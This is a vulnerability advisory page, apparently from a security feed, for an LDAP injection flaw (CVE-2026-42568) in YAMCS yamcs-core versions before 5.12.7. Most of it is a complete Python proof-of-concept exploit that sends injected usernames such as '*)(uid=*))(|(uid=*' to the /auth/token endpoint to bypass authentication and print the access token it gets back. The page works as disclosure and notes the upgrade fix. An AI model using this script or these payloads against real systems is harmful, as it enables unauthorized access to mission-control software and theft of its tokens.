YAMCS yamcs-core versions prior to 5. 12. 7 are vulnerable to an LDAP Injection vulnerability. This issue allows an attacker to manipulate LDAP queries, potentially leading to unauthorized access or information disclosure. The vulnerability affects Linux platforms and has known exploit code written in Python. No official patch link is provided, and no known exploits are reported in the wild. The severity is assessed as medium based on the available information.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: YAMCS yamcs-core 5.12.7 - LDAP Injection # Date: 2026-05-27 # Exploit Author: Daniel Miranda Barcelona (Excal1bur) # Vendor Homepage: https://yamcs.org # Software Link: https://github.com/yamcs/yamcs # Version: < 5.12.7 # Tested on: Linux # CVE: CVE-2026-42568 # Category: Remote / Auth Bypass # Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j #!/usr/bin/env python3 """ CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule ========================================================= The username parameter in LdapAuthModule is inserted directly into LDAP search filters without RFC 4515 escaping. Root cause (LdapAuthModule.java): var filter = userFilter.replace("{0}", username); With userFilter=(uid={0}) and username=*)(uid=*))(|(uid=* Result: (uid=*)(uid=*))(|(uid=*) — universal match, auth bypass. Only affects instances with LdapAuthModule configured. ========================================================= """ import requests import sys import json def main(): target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090" base = target.rstrip("/") print("=" * 65) print(" CVE-2026-42568 — YAMCS LDAP Injection PoC") print(f" Target: {target}") print(" Requires: LdapAuthModule configured in yamcs.yaml") print("=" * 65) payloads = [ { "name": "Universal bypass", "username": "*)(uid=*))(|(uid=*", "password": "anything", }, { "name": "Targeted bypass (admin)", "username": "admin)(|(objectClass=*", "password": "wrongpassword", }, { "name": "Wildcard match", "username": "op*", "password": "anything", } ] for i, p in enumerate(payloads, 1): print(f"\n[{i}] {p['name']}") print(f" username: {p['username']}") print(f" password: {p['password']}") try: resp = requests.post(f"{base}/auth/token", data={ "grant_type": "password", "username": p["username"], "password": p["password"] }, timeout=5) print(f" HTTP: {resp.status_code}") if resp.status_code == 200: token = resp.json().get("access_token", "") print(f" [!!!] AUTH BYPASSED") if token: print(f" [!!!] Token: {token[:50]}...") elif resp.status_code == 401: print(f" [-] 401 — LDAP may not be configured") elif resp.status_code == 403: print(f" [+] 403 — Patched or LDAP disabled") except requests.exceptions.ConnectionError: print(f" [-] Connection refused — is YAMCS running?") except Exception as e: print(f" [-] Error: {e}") print("\n" + "=" * 65) print(" Fix: Upgrade to yamcs-core >= 5.12.7") print("=" * 65) if __name__ == "__main__": main()